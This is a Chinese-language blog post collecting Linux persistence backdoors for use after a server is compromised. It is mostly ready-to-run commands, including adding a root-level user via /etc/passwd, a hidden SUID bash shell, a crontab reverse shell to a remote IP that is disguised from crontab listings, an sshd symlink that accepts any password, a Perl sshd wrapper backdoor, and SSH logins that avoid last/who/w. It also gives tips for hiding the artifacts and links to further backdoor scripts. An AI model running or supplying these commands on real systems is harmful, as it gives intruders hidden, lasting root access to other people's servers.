linux权限维持-后门
Comment前言
收集复现下网上linux后门姿势,一起学习下。
这张图特别好
添加超级用户
某些情况下是没有回显的,可以用一句话直接添加用户
1、useradd guest;echo 'guest:123456'|chpasswd
2、useradd -p `openssl passwd 123456` guest
3、useradd -p "$(openssl passwd 123456)" guest
4、useradd newuwer;echo -e "123456n123456n" |passwd newuser
然后把我们添加的用户赋予root权限
echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'guest:123456'|chpasswd
有些时候添加不成功是因为用户策略可以适当加强密码强度
有些也会限制root权限用户远程登录
SUID shell
Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。
root权限下执行
cp /bin/bash /.test
chmod 4755 /.test
这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。
切换普通用户
/.test
不过bash2针对suid做了一些措施 加个参数就行
/.test -p
euid:effective user ID:有效用户ID,指进程执行时对文件的访问权限
inetd
修改/etc/inetd.conf
nc直接连接
还可以配合修改修改/etc/service 改为常用端口隐藏
Crontab后门
redis未授权访问也是利用这个,我们可以设置没隔一段时间反弹一次shell
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
ssh公钥免密
redis也有用到不多说了
ssh-keygen -t rsa
把自己本地生成的公钥id_rsa.pub传到目标服务器
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
实战受限且很容易被发现
ssh软连接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
直接ssh连接5555端口就行,密码随便输入。但是有些限制了root不许远程登录不能指定root用户。
软连接其实是利用了pam验证后续过程对pam_rootok模块的验证信任。
http://www.91ri.org/16803.html
SSH wrapper后门
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接:
socat STDIO TCP4:target_ip:22,sourceport=13377
说句实在话每太看明白,反正命令敲上去就连上了…
PAM
https://github.com/litsand/shell/blob/master/pam.sh
自动化脚本
Openssh
https://www.tuicool.com/articles/eIv22az
实战的确会遇到各种问题 (ps:本机都各种问题)
隐身登录
隐身登录系统,不会被last who w等指令检测到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
RootKit
安装了mafix刚执行妈的把老子环境都删了,现在连命令都执行不了…
心态爆炸!!!
收集后门
https://github.com/iamckn/backdoors
参考链接: